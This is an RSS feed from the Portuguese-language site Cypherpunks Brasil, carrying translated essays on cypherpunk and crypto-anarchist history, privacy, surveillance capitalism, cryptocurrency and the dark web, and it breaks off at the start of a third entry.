<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Cypherpunks Brasil</title><link>https://cypherpunks.com.br</link><description>Cypherpunks Brasil é um projeto dedicado a tradução de textos históricos e compartilhamento de conteúdo relacionado a criptoanarquismo, cypherpunk, criptologia, agorismo, sistemas descentralizados, hardware, moedas digitais, anarquismo, sobrevivencialismo e mais.</description><language>pt-br</language><ttl>60</ttl><image><url>https://cypherpunks.com.br/images/xor-background-light.webp</url><title>Cypherpunks Brasil</title><link>https://cypherpunks.com.br/</link></image><link>https://cypherpunks.com.br/</link><copyright>(CC0) 2018-{year} Cypherpunks Brasil. O site está sobre a licença Creative Commons Zero, pode copiar!</copyright><lastBuildDate>Sat, 06 May 2023 00:00:00 +0000</lastBuildDate><atom:link href="https://cypherpunks.com.br/index.xml" rel="self" type="application/rss+xml"/><item><title>Cypherpunks 101 - Introdução aos Cypherpunks</title><link>https://cypherpunks.com.br/documentos/cypherpunks-101/</link><pubDate>Sat, 06 May 2023 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/cypherpunks-101/</guid><description>Os movimentos cypherpunk e cripto-Anarquista têm sido ferozes ativistas da Privacidade e Liberdade desde os anos 1980, e previram exatamente o que nossa sociedade se tornaria, caso a pulverização da tecnologia não fosse acompanhada de tecnologias que melhoram a privacidade e regulações. Quarenta anos depois, nos encontramos num mundo no …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: mem3tic@mut8ion
Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>Zine: (Em Breve)&lt;/p>
&lt;h1 id="cypherpunks-101">Cypherpunks 101&lt;/h1>
&lt;h2 id="privacidade-importa-cypherpunks-cripto-anarquistas-e-seus-inimigos">Privacidade Importa: Cypherpunks, Cripto-Anarquistas e Seus Inimigos&lt;/h2>
&lt;p>Os termos &amp;ldquo;cypherpunk&amp;rdquo; e &amp;ldquo;cripto-anarquismo&amp;rdquo; não aparecem muito na mídia. Nos últimos anos, Edward Snowden e Julian Assange ajudaram a popularizar esses termos até um certo grau, mas ainda não está claro para a maioria o que esses termos significam. Conhecer esses movimentos agora tem se tornado inegociável para aumentar a consciência acerca dos primeiros sinais do nascimento dos aparatos distópicos de vigilância.&lt;/p>
&lt;p>Os movimentos Cypherpunk e Cripto-Anarquista têm sido ferozes ativistas da privacidade e liberdade desde os anos 1980, e previram exatamente o que nossa sociedade se tornaria, caso a disseminação da tecnologia não fosse acompanhada de tecnologias que melhoram a privacidade e regulações. Quarenta anos depois, nos encontramos num mundo no qual corporações e governos podem acessar nossas informações pessoais sem que nós sequer saibamos. A mesma tecnologia, que tinha como objetivo nos dar maiores habilidades de livre associação e liberdade de expressão, está se transformando numa jaula.&lt;/p>
&lt;h3 id="cypherpunks--cripto-anarquistas-quem-são-eles">Cypherpunks &amp;amp; Cripto-Anarquistas: Quem são eles?&lt;/h3>
&lt;p>O movimento Cypherpunk nasceu no final dos anos 80 e foi criado por Eric Hughes, Timothy C. May, e John Gilmore. Inaugurado pelo Manifesto Cripto-Anarquista, de Timothy May, o movimento Cypherpunk foca nas questões de privacidade na rede aberta, definindo privacidade como: &amp;ldquo;o poder de revelar seletivamente a si mesmo para o mundo&amp;rdquo; (Hughes, ed. Ludlaw, 2001, p. 81). Seu principal objetivo é prevenir a revelação de informações desnecessárias comumente requeridas em transações. Como Hughes escreve:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Nós, os Cypherpunks, somos dedicados a construir sistema anônimos. Nós defendemos nossa própria privacidade com criptografia, com sistemas avançados de e-mail anônimos, com assinaturas digitais, com dinheiro eletrônico. Cypherpunks escrevem códigos. Nós sabemos que alguém deve escrever códigos que garantem a privacidade, e desde que nós não conseguimos a privacidade a menos que façamos isso, nós vamos escrever a privacidade. Nós publicamos o nosso código para nossos parceiros Cypherpunks poderem praticar e atuar com ele[&amp;hellip;]. Cypherpunks não se importam com regulamentos sobre a criptografia, pois a mesma por si só é um ato privado. O ato de cifrar, de fato, remove a informação do conhecimento público. Mesmo leis sobre a criptografia só chegam longe o bastante da fronteira da nação e seu escopo de atuação e violência. Criptografia irá se espalhar para todo o mundo e com ela as possibilidades de existir sistemas de transações anônimas que a mesma possibilita.&amp;rdquo; (May, ed. Ludlaw, 2001, p. 83).&lt;/p>
&lt;/blockquote>
&lt;p>&lt;img class="img-fluid" alt="bitcoin magazine" src="https://cypherpunks.com.br/stuff/cypherpunks_bitcoinmagazine.webp" loading="lazy"
width="720" height="631"
/>
&lt;em>Fonte: &lt;a href="https://bitcoinmagazine.com/culture/crypto-art-of-resistance-remember-remember-the-legacy-of-the-cypherpunks" target="_blank" rel="noopener noreferrer">Bitcoin Magazine&lt;/a>
&lt;/em>&lt;/p>
&lt;p>Cypherpunks têm lutado diversas batalhas contra o governo dos EUA, particularmente através de ações judiciais contra ele, por suas tentativas de limitar a criptografia, e também ao incitar a agitação civil. Enquanto muitas de suas conquistas continuaram a ser dificultadas pelo governo, algumas delas, como MintChip, a carteira eletrônica canadense, e o Bitcoin, não puderam ser reprimidas - e não só continuam existindo - mas sim prosperando.&lt;/p>
&lt;p>Cripto-Anarquismo é outro movimento importante desenvolvido pelos primeiros Cypherpunks. Enquanto retém os mesmos princípios do movimento Cypherpunk, o movimento Cripto-Anarquista se enquadra como um movimento político mais abrangente. Como o nome sugere, o movimento Cripto-Anarquista se propõe a superar o alcance do modelo tradicional de nações-Estados através da fundação de uma sociedade baseada na livre associação, cooperação, igualitarismo, libertarianismo econômico e descentralização.&lt;/p>
&lt;p>Segundo o Cripto-Anarquismo, métodos criptográficos vão alterar a natureza das corporações e da interferência governamental em transações econômicas e sociais. Como May coloca: &amp;ldquo;Combinado com mercados de informação emergentes, a Cripto-Anarquia criará um mercado líquido para todo e qualquer material que possa ser colocado em palavras e imagens.&amp;rdquo; (May, ed. Ludlaw, 2001).&lt;/p>
&lt;p>Cripto-Anarquistas não só estão comprometidos com criar programas que podem proteger contra os abusos do Estado: Eles também lutam para construir novas estruturas socioeconômicas através de código. Neste contexto, é possível entender como ideias e valores cripto-anarquistas estão refletidos na arquitetura da tecnologia &lt;em>Blockchain&lt;/em>. &lt;em>Blockchain&lt;/em> permite que um coletivo de pessoas possa formular, disseminar, manter e verificar um sistema institucional enquanto registram as interações dentro da mesma (MacDonald, Allen and Potts, 2016). Isso nos permite mudar os meios pelos quais governamos a nós mesmos enquanto coletivos, e provém as bases parauma sociedade não-coercitiva baseada em concenso.&lt;/p>
&lt;h3 id="vigilância-dinheiro-e-o-estado">Vigilância, Dinheiro e o Estado&lt;/h3>
&lt;p>Hoje, nós somos forçados a conviver com instituições político-econômicas caras e exclusivas: Elas têm alto potencial para erro e invadem a privacidade pessoal dos usuários sem qualquer supervisão ou responsabilidade. De diversas formas, tais instituições são as principais interessadas num mundo distópico de opressão, no qual a tecnologia é controlada exclusivamente pelo Estado e Grandes Corporações. Por enquanto, a parte mais problemática ainda é que não estamos completamente cientes do fato de que a vigilância em massa tem se tornado cada vez mais barata, invisível e penetrante. O argumento mais popular que aparece quando alguém ouve falar sobre a perda de privacidade é: &amp;ldquo;Mas eu não tenho nada a esconder, então não devo me importar&amp;rdquo;. Entretanto, privacidade não se trata de esconder o errado, mas sim sobre ter controle sobre sua própria comunicação. Na lógica do &amp;ldquo;nada a esconder&amp;rdquo;, a escolha se resume a uma aceitação passiva da vigilância em massa, ao invés de uma defesa ativa de seus próprios direitos.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Vigilancia sla" src="https://cypherpunks.com.br/stuff/survivellance.webp" loading="lazy"
width="720" height="480"
/>
&lt;/p>
&lt;p>Empresas como Facebook, Google e Amazon têm tido sucesso em tornar a vida online de seus usuários mais confortável ao permitir que comprem coisas em poucos minutos, que recebam informações relevantes baseadas no histórico recente de navegação na internet, e que identificam automaticamente o rosto de seus amigos numa foto. O lado ruim de tal &amp;ldquo;conveniência&amp;rdquo; é que Grandes Corporações e Agências Governamentais abusam e muitas vezes usam indevidamente os dados privados de usuários para retornos pessoais (veja Shoshana Zuboff, &amp;ldquo;A Era do Capitalismo de Viligância&amp;rdquo; - &amp;ldquo;The Age of Surveillance Capitalism&amp;rdquo;).&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Privacidade é necessário para uma sociedade aberta na Era da eletrônica. Privacidade não é segredo. Um assunto privado é algo que não queremos que o mundo inteiro saiba, entretanto um assunto secreto é algo que não queremos que ninguém saiba. &lt;em>A privacidade é o poder de se revelar seletivamente para o mundo.&lt;/em>&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>Embora a tecnologia tenha, sem dúvida, se tornado um grande trunfo para aumentar nossa eficiência, não podemos ignorar o fato de que as assimetrias de poder que resultam do atual estado de coisas aumentam a vulnerabilidade dos usuários. Assim, o objetivo é encontrar uma maneira ideal de implantar a tecnologia para atender aos melhores interesses dos usuários, além de garantir a integridade do processo do início ao fim.&lt;/p>
&lt;h2 id="criptografia-como-um-meio-para-restabelecer-a-privacidade-e-autonomia">Criptografia como um Meio para restabelecer a Privacidade e Autonomia&lt;/h2>
&lt;h3 id="criptografia-e-o-sistema-financeiro">Criptografia e o Sistema Financeiro&lt;/h3>
&lt;p>O Cripto-Anarquismo é um movimento que usa Criptografia para permitir que os usuários existam online de forma anônima. Ele se esforça para libertar os dados privados da vigilância institucional. “Criptografia” é o método de armazenar e transmitir dados de uma forma particular, para que apenas aqueles a quem se destina possam lê-los e processá-los. Embora a Criptografia possa ser altamente benéfica para usuários individuais, muitas vezes é interpretada como uma &lt;em>ameaça&lt;/em> para governos e agências relacionadas, que têm interesse em monitorar as comunicações e as transações econômicas.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Cypherpunks Write Code" src="https://cypherpunks.com.br/stuff/cypherpunks_write_code.webp" loading="lazy"
width="720" height="405"
/>
&lt;/p>
&lt;p>Em sua raiz, a proposta de valor da criptografia está intimamente relacionada com a estrutura do sistema financeiro moderno e a relação entre governos e prestadores de serviços financeiros. Embora esta relação tenha evoluído ao longo do tempo, a crise financeira de 2007-2008 ilustrou a excessiva confiança na eficiência dos mercados existentes por uma série de instituições centralizadas e “muito-grandes-para-falir”. No contexto da crise, os grandes bancos emprestaram enormes volumes de dinheiro uns aos outros, enquanto os cidadãos médios permaneceram à mercê dessas instituições para o acesso e manuseio dos fundos e o valor das transações. Como resultado deste sistema, muitos países continuam a experimentar as consequências - há 14 anos e contando - do &lt;em>fracasso da política monetária&lt;/em>.&lt;/p>
&lt;p>Austeridade, enormes dívidas, aumento do desemprego e instabilidade política no geral levantam a seguinte questão: o que podemos aprender sobre o papel do Estado com isso? Para salvar a economia do fracasso, governos em todo o mundo têm injetado bilhões de dólares no sistema financeiro para resgatar os bancos nacionais. Esta política fiscal expansiva não oferece uma solução de longo prazo para a política fiscal fundamentalmente degradada dos Bancos Centrais. Isso não quer dizer que as intervenções do governo foram completamente inúteis, mas sim que nossa realidade (econômica) hoje é muito complexa para ser controlada apenas pelo dinheiro.&lt;/p>
&lt;p>O Cripto-Anarquismo destaca as fraquezas das economias atuais quando se trata de amortecer os choques e a incapacidade dos Estados de encontrar soluções eficazes e sustentáveis. O Cripto-Anarquismo procura construir uma realidade alternativa, na qual os cidadãos possam redefinir suas interações econômicas, lutar em direção à igualdade social e potencialmente alcançar uma maior agência.&lt;/p>
&lt;h3 id="tornando-real-a-rede-aberta-open-web-para-uma-sociedade-mais-livre">Tornando Real a Rede Aberta (Open Web) para uma Sociedade mais Livre&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="Snowden Quote" src="https://cypherpunks.com.br/stuff/snowden_quote.webp" loading="lazy"
width="720" height="405"
/>
&lt;/p>
&lt;p>Durante anos, Cypherpunks e Cripto-Anarquistas nos alertaram sobre os perigos de um aparelho estatal abertamente centralizado. Eles se opuseram ao status quo, desenvolvendo os meios tecnológicos para escapar da vigilância e se engajaram em resistência aberta à opressão estatal. Seu trabalho tem sido impactante, enquanto, no entanto, o capitalismo de vigilância continua a prosperar às custas da liberdade e da agência das pessoas. Neste contexto, a adoção de uma tecnologia que impeça os gigantes da tecnologia e o Estado de deterem uma quantidade desproporcional de poder e informação sobre as pessoas torna-se crucial para salvaguardar as liberdades fundamentais, os direitos e a dignidade humana.&lt;/p>
&lt;p>A Rede Aberta (Open Web), e sua principal tecnologia subjacente, têm a capacidade de fundamentar um caminho para uma sociedade na qual a privacidade, a liberdade e a transparência são fornecidas aos seus cidadãos. É, portanto, crucial que o seu desenvolvimento seja seguido e encorajado.&lt;/p>
&lt;p>No entanto, o desenvolvimento de tecnologias que melhoram a privacidade devem andar de mãos dadas com a conscientização sobre a importância da privacidade. As implicações do acesso corporativo e governamental aos dados pessoais ainda não são totalmente compreendidas, já que a narrativa dominante em torno da privacidade diminui a importância do controle do usuário sobre suas próprias informações.&lt;/p>
&lt;p>A luta pela privacidade e pela liberdade não é apenas travada a nível tecnológico, mas também a nível intelectual. O combate às narrativas tradicionais que retratam a privacidade como um perigo para a sociedade, precisa ser resistida e desmantelada com a ajuda da lógica e do senso comum. Se a tecnologia nos permitir criar novas possibilidades, são apenas as palavras e a razão que nos permitirão usá-las para fins humanos e de reforço da liberdade.&lt;/p>
&lt;h2 id="mitos-e-equívocos-comuns-sobre-os-cypherpunks">Mitos e Equívocos Comuns Sobre os Cypherpunks&lt;/h2>
&lt;h3 id="mito-1-criptomoeda-é-apenas-mais-uma-moeda">Mito 1: Criptomoeda É Apenas Mais Uma Moeda&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="Cryptocurrency" src="https://cypherpunks.com.br/stuff/cryptocurrency.webp" loading="lazy"
width="720" height="454"
/>
&lt;/p>
&lt;p>Uma das principais vantagens competitivas da &lt;em>blockchain&lt;/em> em relação ao Estado é a alta segurança. Historicamente, as instituições desenvolveram diferentes formas de registrar transações de todos os tipos. O objetivo sempre foi criar um sistema que fosse &lt;em>resiliente&lt;/em> ao roubo de informações, corrupção e manipulação. Hoje, &lt;em>o nexo de poder tornou-se irremediavelmente corrupto&lt;/em> e, portanto, o Estado falha nessas premissas. Sabemos disso por causa da criação de perfis digitais ou imagens detalhadas de cada indivíduo com base na atividade online. Todas as Grandes Corporações estão seguindo o comportamento do consumidor porque podem extrair um enorme valor disso. As criptomoedas, como um sistema digital &lt;em>peer-to-peer&lt;/em> (ponta-a-ponta) descentralizado para a troca de valor, oferecem um modelo alternativo aos instrumentos financeiros atuais de última geração, nos quais as informações financeiras são controladas e rastreadas pelas instituições do Estado e relacionadas.&lt;/p>
&lt;p>Criptomoedas, portanto, são mais do que simplesmente outra moeda. Em virtude de serem baseados em ledgers (livros razão) públicos distribuídos, eles fornecem uma base para criar novas maneiras de lidar com dados financeiros, fora do alcance dos capitalistas de vigilância. Esta é exatamente a razão pela qual as criptomoedas foram tão bem recebidas na comunidade cripto-anarquista e além. De uma perspectiva Cripto-Anarquista, várias aplicações blockchain têm o potencial de permitir uma organização econômica auto-sustentável. Além do controle sobre os dados, as criptomoedas oferecem outro modelo econômico anti-inflacionário, mais eficaz. O Bitcoin, por exemplo, cresce organicamente devido ao número limitado de moedas e, portanto, contorna a inflação. Outras criptomoedas, por sua vez, foram projetadas para serem privadas, anônimas e rápidas, tornando-as populares nos mercados da Dark Web.&lt;/p>
&lt;h3 id="mito-2-a-dark-web-é-para-tráfico-humano-e-exploração-de-drogas">Mito 2: A Dark Web é para Tráfico Humano e Exploração de Drogas&lt;/h3>
&lt;blockquote>
&lt;p>A dark web é o coletivo oculto de sites na Internet que são acessíveis apenas por um navegador especializado. É usado para manter a atividade na Internet anônima e privada, o que pode ser útil em aplicações legais e ilegais. Enquanto alguns o usam para evitar a censura do governo, também é conhecido por ser utilizado para atividades altamente ilegais. (&amp;ldquo;O que é a Dark Web Profunda&amp;rdquo; - &amp;ldquo;What Is The Deep Dark Web&amp;rdquo; , 2020)&lt;/p>
&lt;/blockquote>
&lt;p>Quando o termo “Dark Web” vem à tona, há uma tendência de assumir que apenas criminosos gostariam de usá-la. Ao contrário dos vários estereótipos e preconceitos, a Deep Web é em grande parte composta de conteúdo seguro, como bancos de dados públicos e privados e intranets que usamos todos os dias. A face do crime, sem dúvida, mudou com o nascimento de navegadores anônimos como o Tor, mas como os Cripto-Anarquistas enfatizam, há um lado benéfico para a internet oculta. Por exemplo, a Deep Web pode ser vista como uma área comercial nova e mais democrática. Imagine que não era apenas um lugar para contornar as restrições geográficas locais e assistir a uma TV local, mas um lugar onde se pode comprar medicamentos de outra forma inacessíveis para tratar pacientes com câncer? Pode se tornar mais um lugar equivalente ao eBay?&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Network Iceberg" src="https://cypherpunks.com.br/stuff/networkiceberg.webp" loading="lazy"
width="620" height="559"
/>
&lt;/p>
&lt;p>Tornando real o sonho Cripto-Anarquista, as características da Deep Web representam com precisão valores como retenção, reciprocidade e integridade. A ausência de indexação de páginas da Web e segurança de rede, como a criptografia, protege os usuários do Google e de outras entidades que acessam seus dados. Por conseguinte, os mercados anônimos não devem existir apenas para as drogas, mas também para os alimentos, medicamentos e muito mais. Os preços no mercado negro têm a capacidade de tornar os produtos mais acessíveis. “Mais importante, qualquer entendimento da ‘Dark Web’ deve estar ciente do contexto atual de vigilância e desrespeitado pela privacidade que grande parte do mundo vive até hoje. É, portanto, altamente atraente para rejuvenescer o conceito da Deep Web do ângulo Cripto-Anarquista e explorar sua potencial usabilidade para melhorar a privacidade dos dados e construir um sistema econômico alternativo: podemos considerar a Dark Web como um meio pelo qual os usuários podem lutar contra o totalitarismo.&lt;/p>
&lt;h4 id="recursos-úteis">Recursos Úteis&lt;/h4>
&lt;p>&lt;a href="https://chaum.com/security-without-identification/" target="_blank" rel="noopener noreferrer">Security Without Identification: Card Computers to Make Big Brother Obsolete&lt;/a>
(1985)&lt;/p>
&lt;p>&lt;a href="https://nap.nationalacademies.org/catalog/5131/cryptographys-role-in-securing-the-information-society" target="_blank" rel="noopener noreferrer">Crytography’s Role in Securing the Information Society,&lt;/a>
edited by Kenneth W. Dam and Herbert S. Lin (1996)&lt;/p>
&lt;p>A seminal work in the field, Diffie and Hellman’s &lt;a href="https://ee.stanford.edu/~hellman/publications/24.pdf" target="_blank" rel="noopener noreferrer">“New Directions in Cryptography”&lt;/a>
(1976)&lt;/p>
&lt;p>&lt;a href="https://resistir.info/varios/assange_livro_port.pdf" target="_blank" rel="noopener noreferrer">Cypherpunks: Freedom and the Future of the Internet,&lt;/a>
Julian Assange (2012)&lt;/p>
&lt;p>&lt;a href="https://www.nytimes.com/1994/06/12/magazine/battle-of-the-clipper-chip.html" target="_blank" rel="noopener noreferrer">“Battle of the Clipper Chip”&lt;/a>
in The New York Times (1994)&lt;/p>
&lt;p>&lt;a href="http://www.foia.cia.gov/sites/default/files/DOC_0006231614.pdf" target="_blank" rel="noopener noreferrer">The Evolution of US Government Restrictions on Using and Exporting Encryption Technologies&lt;/a>
(FOIA: 2010)&lt;/p>
&lt;hr>
&lt;p>Fonte:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://cypherpunkguild.medium.com/cypherpunks-101-ep-1-82d91f13aa2" target="_blank" rel="noopener noreferrer">https://cypherpunkguild.medium.com/cypherpunks-101-ep-1-82d91f13aa2&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://cypherpunkguild.medium.com/cypherpunks-101-ep-2-314bf6f054a2" target="_blank" rel="noopener noreferrer">https://cypherpunkguild.medium.com/cypherpunks-101-ep-2-314bf6f054a2&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://cypherpunkguild.medium.com/cypherpunks-101-ep-3-common-myths-and-misconceptions-about-cypherpunks-260b2f5f72eb" target="_blank" rel="noopener noreferrer">https://cypherpunkguild.medium.com/cypherpunks-101-ep-3-common-myths-and-misconceptions-about-cypherpunks-260b2f5f72eb&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>A Necessidade de uma Crítica Radical à Tecnologia</title><link>https://cypherpunks.com.br/documentos/a-necessidade-de-uma-critica-radical-a-tecnologia/</link><pubDate>Mon, 16 Jan 2023 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-necessidade-de-uma-critica-radical-a-tecnologia/</guid><description>À medida que os estados se fundem com a internet e o futuro de nossa civilização se torna o futuro da internet, devemos redefinir as relações de força. Se não o fizermos, a universalidade da internet fundirá a humanidade global em uma rede gigante de vigilância e controle de massa</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;strong>Nota do Tradutor:&lt;/strong> Esse é o início de uma série de várias traduções dos textos escritos pelo projeto &lt;a href="https://cypherpunkguild.org/" target="_blank" rel="noopener noreferrer">Cypherpunk Guild,&lt;/a>
tentei editar as imagens no Gimp para traduzi-las, mas no Tipologia de Danos à Privacidade tive alguns problemas - e preguiça - pra me decidir como localizar certinho, bem tá aí o resultado.&lt;/p>
&lt;h2 id="cypherpunk-guild">Cypherpunk Guild&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/porque-precisamos-criticar-tecnologia.webp" loading="lazy"
width="720" height="405"
/>
&lt;/p>
&lt;blockquote>
&lt;p>“À medida que os estados se fundem com a internet e o futuro de nossa civilização se torna o futuro da internet, devemos redefinir as relações de força. Se não o fizermos, a universalidade da internet fundirá a humanidade global em uma rede gigante de vigilância e controle de massa” -Julian Assange&lt;/p>
&lt;/blockquote>
&lt;p>Nossas vidas estão repletas de tecnologias, desde nossos escritórios até nossos quartos. Trabalhamos, jogamos e criamos com elas, nos vestimos e contamos com elas para inúmeras tarefas diárias. Nossas tecnologias e sistemas tecnológicos formam o pano de fundo, o contexto e o meio de nossas vidas. As coisas que fazemos e usamos moldam nosso ambiente, nossa cultura e, ao alterar os padrões da atividade humana, moldam quem somos e como vivemos. Em suma, o que fazemos e usamos não apenas nos permite manipular e controlar o meio ambiente, mas também nos transformam de maneiras fundamentais.&lt;/p>
&lt;p>A abordagem predominante da tecnologia apenas enfatiza seu lado benevolente que torna nossas vidas mais confortáveis, nosso trabalho mais eficiente e nossos jogos mais divertidas. No entanto, aqueles que mantiveram uma visão mais crítica puderam ver quais são os verdadeiros custos das novas tecnologias.&lt;/p>
&lt;h2 id="os-custos-escondidos-da-tecnologia">Os Custos Escondidos da Tecnologia&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="NSA Charge" src="https://cypherpunks.com.br/stuff/nsa-charge.webp" loading="lazy"
width="720" height="543"
/>
&lt;/p>
&lt;p>&lt;a href="https://www.cartoonistgroup.com/?iid=106452" target="_blank" rel="noopener noreferrer">The Cartonist Group&lt;/a>
&lt;/p>
&lt;p>O conforto e a conveniência de nossa tecnologia atual vieram à custa de liberdade e autonomia. Esta não é uma declaração controversa, pois as obras de Shoshana Zuboff, Julian Assange e muitos outros trouxeram à tona como os designs tecnológicos atuais estão permitindo que governos e corporações assumam o controle de cada vez mais aspectos de nossas vidas. Embora falemos mais detalhadamente sobre os problemas atuais que enfrentamos hoje na próxima série, é importante mencioná-los para aumentar a conscientização sobre a importância de se envolver com a tecnologia de forma mais crítica.&lt;/p>
&lt;h2 id="big-data-e-modelagem-psicológica">Big Data e Modelagem Psicológica&lt;/h2>
&lt;p>Um exemplo notável dessa nova forma de controle é a Big Data – um grande conjunto de dados que pode ser analisado computacionalmente para revelar padrões e tendências relacionados ao comportamento e interações humanas. Os dados são coletados rotineiramente de redes sociais, sites, aplicativos e qualquer uso de dispositivos inteligentes que são analisados, transformados em previsões e negociados com terceiros que usarão essas informações para criar novos desejos.&lt;/p>
&lt;p>Em &lt;a href="https://en.wikipedia.org/wiki/The_Age_of_Surveillance_Capitalism" target="_blank" rel="noopener noreferrer">‘The Age of Surveillance Capitalism: The Fight for a Human Future at the New Frontier or Power’,&lt;/a>
a professora de Harvard e psicóloga social Shoshana Zuboff chama a atenção para um novo sistema de poder e controle que surgiu durante a era digital – o Capitalismo de Vigilância. O sistema eficiente de coleta de informações cria o que Zuboff chama de “economias de ação”, ou seja, economias que podem agrupar e condicionar os indivíduos com sugestões, recompensas e punições subliminares que os desviam para os resultados desejados.&lt;/p>
&lt;p>Essa nova forma de controle é extremamente bem-sucedida, pois não se manifesta por meio de coerção explícita. Os indivíduos são atraídos ou sugeridos a compartilhar mais de si mesmos para obter acesso aos serviços, enquanto sob a superfície suas informações são analisadas e usadas para acumular compras, interações e criar novos desejos.&lt;/p>
&lt;h2 id="violações-íntimas-de-privacidade">Violações Íntimas de Privacidade&lt;/h2>
&lt;p>Somos constantemente solicitados por diferentes agências a compartilhar uma enorme quantidade de informações pessoais para obter serviços e benefícios públicos. Mesmo para a simples compra de um bilhete de teatro ou museu, muitas vezes somos obrigados a partilhar o nosso endereço de email e morada que ficará guardado na base de dados da entidade. Quão seguro é esse banco de dados, quem terá acesso a ele e como essas informações serão usadas, muitas vezes não é claro e, de qualquer maneira, não há alternativa a não ser sujeitar-se a ele para obter acesso a algo que precisamos ou desejo.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Tipologia de Danos à Privacidade" src="https://cypherpunks.com.br/stuff/pricavy-harms.webp" loading="lazy"
width="720" height="462"
/>
&lt;/p>
&lt;p>&lt;a href="https://teachprivacy.com/privacy-harms/" target="_blank" rel="noopener noreferrer">Via Tech Privacy&lt;/a>
&lt;/p>
&lt;p>A professora de direito de privacidade &lt;a href="https://en.wikipedia.org/wiki/Danielle_Citron" target="_blank" rel="noopener noreferrer">Danielle K. Citron&lt;/a>
escreveu extensivamente sobre as graves violações de privacidade íntima que ocorrem diariamente por causa do tratamento de dados das pessoas por empresas e governos. E ao relatar as experiências vividas por muitos de seus clientes, ela chama a atenção para as consequências nefastas que uma violação de privacidade pode ter na vida de um indivíduo.&lt;/p>
&lt;p>Descobrir que algo privado sobre nós foi compartilhado de maneira indesejada ou explicitamente usado contra nós muda radicalmente a forma como interagimos com o mundo e com os outros. Isso nos leva a relutar em nos envolver com os outros e nos expressar, levando-nos ao isolamento, ansiedade e coisas piores.&lt;/p>
&lt;h2 id="vigilância-governamental">Vigilância Governamental&lt;/h2>
&lt;p>Desde o advento da Internet, os cientistas da computação foram os primeiros a falar sobre a nefasta interferência do Estado na vida privada dos cidadãos facilitada pela digitalização. Durante os anos 80 e 90, o movimento cypherpunk &lt;a href="https://cypherpunkguild.medium.com/cypherpunks-101-ep-1-82d91f13aa2" target="_blank" rel="noopener noreferrer">travou várias batalhas&lt;/a>
para preservar o anonimato online e a liberdade de expressão.&lt;/p>
&lt;p>Infelizmente, a situação continuou a se deteriorar, como Julian Assange, um dos cypherpunks mais conhecidos, deixou bem claro em &lt;a href="https://resistir.info/varios/assange_livro_port.pdf" target="_blank" rel="noopener noreferrer">“Cypherpunks – liberdade e o futuro da internet”.&lt;/a>
Governos de todo o mundo estão usando a tecnologia para espionar e controlar seus cidadãos, reprimir agitação ou dissidência e controlar o discurso político. Ao mesmo tempo, a tecnologia é propositadamente tornada cada vez mais difícil de ser acessada por pessoas comuns, tornando mais difícil para qualquer um, exceto os especialistas, avaliar criticamente seu projeto.&lt;/p>
&lt;h2 id="a-necessidade-de-uma-tecnologia-crítica">A Necessidade de Uma Tecnologia Crítica&lt;/h2>
&lt;p>O que descrevi acima são apenas alguns dos grandes desafios que enfrentamos hoje quando se trata de tecnologia, e eles não são pequenos! Há muito mais a ser dito sobre isso para transmitir o quanto nossa sociedade e nós, indivíduos, somos impactados negativamente por esses novos desenvolvimentos tecnológicos que parecem ter se afastado de qualquer valor humano.&lt;/p>
&lt;p>Os avanços tecnológicos estão ocorrendo em uma velocidade sem precedentes e, no entanto, essas mudanças estão mudando apenas superficialmente a vida das pessoas. Embora os padrões de vida tenham aumentado significativamente, as pessoas não puderam opinar sobre o futuro da tecnologia, não conseguiram ver seus valores e desejos verdadeiramente refletidos no mundo material ao seu redor.&lt;/p>
&lt;p>A tecnologia foi saboreada pela sociedade, tornando-se assim uma ferramenta para as elites promoverem seus interesses e visões. No entanto, ainda há algo que podemos fazer para recuperar a tecnologia, criticá-la, aprender sobre ela e, principalmente, reivindicar a existência de nossas visões.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://cypherpunkguild.medium.com/as-states-merge-with-the-internet-and-the-future-of-our-civilization-becomes-the-future-of-the-818d120fb582" target="_blank" rel="noopener noreferrer">The Need for a Radical Critique of Technology&lt;/a>
&lt;/p></content:encoded></item><item><title>Agorismo no século 21: Uma revista filosófica</title><link>https://cypherpunks.com.br/documentos/agorismo-no-seculo-21/</link><pubDate>Mon, 02 Jan 2023 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/agorismo-no-seculo-21/</guid><description>É com grande orgulho que nós do Cypherpunks Brasil trazemos mais uma obra, o Agorismo no Século 21 é um compilado de textos de vários autores de diferentes áreas e divergências políticas/filosóficas a respeito de temas como tecnologia, filosofia, anarquismo, pós-estruturalismo, criptoanarquismo e é claro, agorismo...</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Cypherpunks Brasil
Revisado por: Matheus Bach, Naka, Erika van der Leij, Cypherpunks Brasil
